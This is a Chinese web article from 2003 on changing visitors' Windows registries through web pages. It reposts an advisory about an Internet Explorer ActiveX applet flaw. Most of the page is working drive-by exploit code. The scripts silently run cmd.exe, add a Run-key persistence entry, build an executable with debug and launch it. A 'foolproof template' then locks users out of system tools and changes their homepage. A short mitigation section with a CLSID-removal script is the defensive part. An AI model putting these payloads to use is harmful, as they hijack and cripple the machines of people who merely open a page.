加入收藏  广告服务  关于我们
 2003-9-16

通过网页修改注册表

发表:不详   阅读:次  关键字:不详   字体:[ ]

用网页修改注册表有多种方法

先看第一种比较复杂比较狠的方法,如果这个你不太会,就跳过去,直接用第二种傻瓜法.这里第一种方法,我是转的,只是做了2个示例页,作者是tombkeeper@126.com .
描述:
ActiveX对象漏洞
详细:
受影响的系统:
所有Windows版本,IE4.0/IE5.0/IE5.01/IE5.5,OE,Outlook,Foxmail
描述:
把com.ms.activeX.ActiveXComponent对象嵌入<APPLET>标记可能导致任意创建和解释执行ActiveX对象,从而可以创建任意文件,运行程序,写注册表。
详细:
对于IE,通过调用ActiveX对象可以进行很多功能强大的操作,如运行程序等。但在执行较危险的调用时都会有警告信息。如将下面这行代码加到一个HTML文件中,运行会提示:“该网页上的某些软件(ActiveX控件)可能不安全。建议您不要运行。是否允许运行?”
<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh>
</OBJECT><SCRIPT>wsh.Run('cmd.exe');
//把'cmd.exe'改为'command.com'则对Windows 95/98/ME也有效,下同。
</SCRIPT>请用win2000系统点这儿看效果,
点击“确定”会打开一个命令提示符。同样使用这个OBJECT,嵌入com.ms.activeX.ActiveXComponent对象后,在IE的默认安全级别“中”状态下也同样可以运行。打开包含以下脚本的HTML文件也会运行一个命令提示符,但没有任何警告。甚至还可以使程序在后台运行。
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe');//改为 wsh.Run('cmd.exe',false,1); 则程序在后台隐藏运行
}
setTimeout('runcmd()',10);
</SCRIPT>
请用win2000点这儿看效果
还可以通过WSHShell对象运行任何程序、获取主机信息、读写注册表,甚至删除所有注册表项;通过FileSystem对象任意读写删除文件,等等。最近很多恶意网站都通过类似手段改写访问者的注册表,一些网页型病毒如著名的“万花谷”病毒也是采用了此方法。其实只要能使用Run执行cmd.exe,创建文件和写注册表都可以很容易地完成。下面就是一个用cmd.exe创建注册表脚本,并导入注册表的例子。
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo Windows Registry Editor Version 5.00>auto.reg',false,1);
wsh.Run('cmd.exe /c echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>auto.reg',false,1);
wsh.Run('cmd.exe /c echo @= cmd.exe >>auto.reg',false,1);
wsh.Run('cmd.exe /c regedit /s auto.reg',false,1);
wsh.Run('cmd.exe /c del auto.reg',false,1);
}
setTimeout('runcmd()',10);
</SCRIPT>

值得一提的是通过巧妙的运用debug的输入重定向还可以创建二进制文件。下面的
代码完全使用Run函数,用echo命令写文件。


<!---------code by tombkeeper@126.com---------->
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
wsh.Run('cmd.exe /c echo a>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854 7369 7020 6f72 7267 6d61 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e 4f44 2053 6f6d 6564 d2e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619 8873 7619 8873 761e >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0 0 0 0 4550 0 14c 2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 56f3 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0 0 1000 0 1000 0 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 40 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200 0 0 0 2 0 0 10 1000 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 10 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2000 0 10 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0 200 0 200 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 20 6000 722e 6164 6174 0 92 0 2000 0 200 0 400 0 0 0 0 0 0 0 40 4000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632 632e 6d6f d500 d6e2 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw cabb b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0 bace cece baa3 a1a6 a3 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 6a 268 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0 25ff 2008 40 25ff 2000 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 2076 0 0 0 205c 0 0 0 2054 0 0 0 0 0 206a 0 2008 0 204c 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 2084 0 2000 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0 205c 0 0 0 1bb 654d >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 7373 6761 4265 786f 41 5355 5245 3233 642e 6c6c 0 75 7845 7469 7250 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 636f 7365 73 454b 4e52 4c45 3233 642e 6c6c 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo. >>test.dbg',false,1);//写一个空行,Windows NT/2K可以这样写,Windows 95/98/ME未测试
wsh.Run('cmd.exe /c echo rcx >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo 600 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo ntest.ext >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo w >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo q >>test.dbg',false,1);
wsh.Run('cmd.exe /c debug<test.dbg',false,1);
wsh.Run('cmd.exe /c ren test.ext test.exe',false,1);//更名
wsh.Run('cmd.exe /c del test.dbg',false,1);
wsh.Run('test.exe');
}
setTimeout('runcmd()',1);
document.write('<p>这只是个测试页面,所包含的可执行程序无任何危害。<p>by tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->

由于debug本身的限制,只能创建小于64K的文件,但可以把较大的文件分割成几
部分,分别创建后,再用 copy file1+file2 fileAll 命令合并。用这种方法可以
创建任意大小的二进制文件。下面所创建的文件虽然和上面的一样只有1536字节,我
们也使用一下这种方法。这里用WriteLine写文件。


<!---------coded by tombkeeper@126.com---------->
<Applet HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var f1dbg='f1.dbg';
var f2dbg='f2.dbg';
var f1ext='f1.ext';
var f2ext='f2.ext';
var wf1=fso.CreateTextFile(f1dbg,true);
var wf2=fso.CreateTextFile(f2dbg,true);
wf1.WriteLine('a');
wf1.WriteLine('dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854 7369 7020 6f72 7267 6d61');
wf1.WriteLine('dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e 4f44 2053 6f6d 6564 d2e');
wf1.WriteLine('dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619 8873 7619 8873 761e');
wf1.WriteLine('dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0 0 0 0 4550 0 14c 2 56f3');
wf1.WriteLine('dw 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0 0 1000 0 1000 0 2000 0 0 40');
wf1.WriteLine('dw 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200 0 0 0 2 0 0 10 1000 0 0 10');
wf1.WriteLine('dw 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2000 0 10 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0 200 0 200 0 0 0 0 0 0 0 20');
wf1.WriteLine('dw 6000 722e 6164 6174 0 92 0 2000 0 200 0 400 0 0 0 0 0 0 0 40 4000 0 0');
wf1.WriteLine('dw 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632 632e 6d6f d500 d6e2 cabb');
wf1.WriteLine('dw b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0 bace cece baa3 a1a6 a3 6a 268');
wf1.WriteLine('dw 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0 25ff 2008 40 25ff 2000 40 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteBlankLines(1);//写一个空行
wf1.WriteLine('rcx');
wf1.WriteLine('390');
wf1.WriteLine('n'+f1ext);
wf1.WriteLine('w');
wf1.WriteLine('q');
wf1.Close();
//第一部分写完
wf2.WriteLine('a');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0 205c 0 0 0 2054');
wf2.WriteLine('dw 0 0 0 0 0 206a 0 2008 0 204c 0 0 0 0 0 2084 0 2000 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 2076 0 0 0 205c 0 0 0 1bb 654d 7373 6761 4265 786f 41 5355 5245');
wf2.WriteLine('dw 3233 642e 6c6c 0 75 7845 7469 7250 636f 7365 73 454b 4e52 4c45 3233');
wf2.WriteLine('dw 642e 6c6c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteBlankLines(1);//写一个空行
wf2.WriteLine('rcx');
wf2.WriteLine('270');
wf2.WriteLine('n'+f2ext);
wf2.WriteLine('w');
wf2.WriteLine('q');
wf2.Close();
//第二部分写完
wsh.Run('cmd.exe /c debug <'+f1dbg,false,1);
wsh.Run('cmd.exe /c debug <'+f2dbg,false,1);
wsh.Run('cmd.exe /c copy '+f1ext+'+'+f2ext+' fileall.exe',false,1);//合并
fso.GetFile(f1dbg).Delete();// \
fso.GetFile(f2dbg).Delete();//----- \ 删除四个
fso.GetFile(f1ext).Delete();//----- / 临时文件
fso.GetFile(f2ext).Delete();// /
wsh.Run('fileall.exe');
}
setTimeout('runcmd()',10);
document.write('<p>这只是个测试页面,所包含的可执行程序无任何危害。<p>by tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->

由于Outlook、Outlook Express、Foxmail等邮件客户端显示HTML邮件时也是调用IE的库,所以这个问题也会影响这一类程序。
解决方案:
该问题目前尚无任何可用的正式补丁,建议:
1、在IE的“internet选项”中的“安全”项中把“安全级别”设为“高”,或在“自定义级别”中把“对标记为可安全执行的ActiveX控件执行脚本”标记为“禁用”。注意:此措施仅对WEB上的代码有效,对于本地文件和HTML格式的邮件无效(邮件也是本地文件)。
2、删除一些危险的对象,从根本上解决问题。这些对象对普通用户是没什么用的。
1)禁用WSHShell对象,阻止运行程序。删除或更名系统文件夹中的wshom.ocx或删除注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
2)禁用FileSystem对象,阻止读写文件。删除或更名系统文件夹中的scrrun.dll或删除注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}
把下面一段代码保存为delobj.vbs,运行后可自动删除WSHShell和FileSystem对象。

;-----------delobj.vbs code by tombkeeper@126.com-----------
text1 = 此脚本将删除注册表中的WSHShell对象和FileSystem对象。
text2 = 这些对象对普通用户并没有用处,而删除他们可以增强系统的安全性,
text3 = 阻止大多数通过浏览器以及电子邮件带来的安全问题,
text4 = 包括恶意网页对IE标题栏的修改等。建议在删除之前先备份注册表。
Alarm_ = & text1 & text2 & text3 & text4
Title_ = code by tombkeeper@126.com
Call Start()
Dim WSHShell
Set WSHShell = WScript.CreateObject( WScript.Shell )
WSHShell.Popup 删除WSHShell对象
WSHShell.RegDelete HKLM\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
WSHShell.Popup 删除FileSystem对象
WSHShell.RegDelete HKLM\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}
Sub Start()
Dim intDoIt
intDoIt = MsgBox(Alarm_, _
vbOKCancel + vbInformation, _
Title_ )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
'---------------------------end-----------------------------

安全建议: 建议设法提高浏览器的安全设置

看得头大了吧,没关系,请用第二种方法,这儿我给你一个修改注册表的模板,代码如下:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
//改写注册表处
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskBar", "","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disablecmd","","REG_DWORD");
Shl.RegWrite
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun","","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\system\\NoRun", 00, "REG_BINARY");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",00, "REG_BINARY");
//二进制值修改
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\system\\disableregistrytools", "00000000", "REG_DWORD");
//DWORD值修改
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "");
//字符串值修改
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//结束注册表改写
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>


举三个例子吧,你分别打开看看效果,研究一下,再和上边的模板网页对照一下,你就会明明白白如何通过网页修改注册表了.

 热门文章
 推荐信息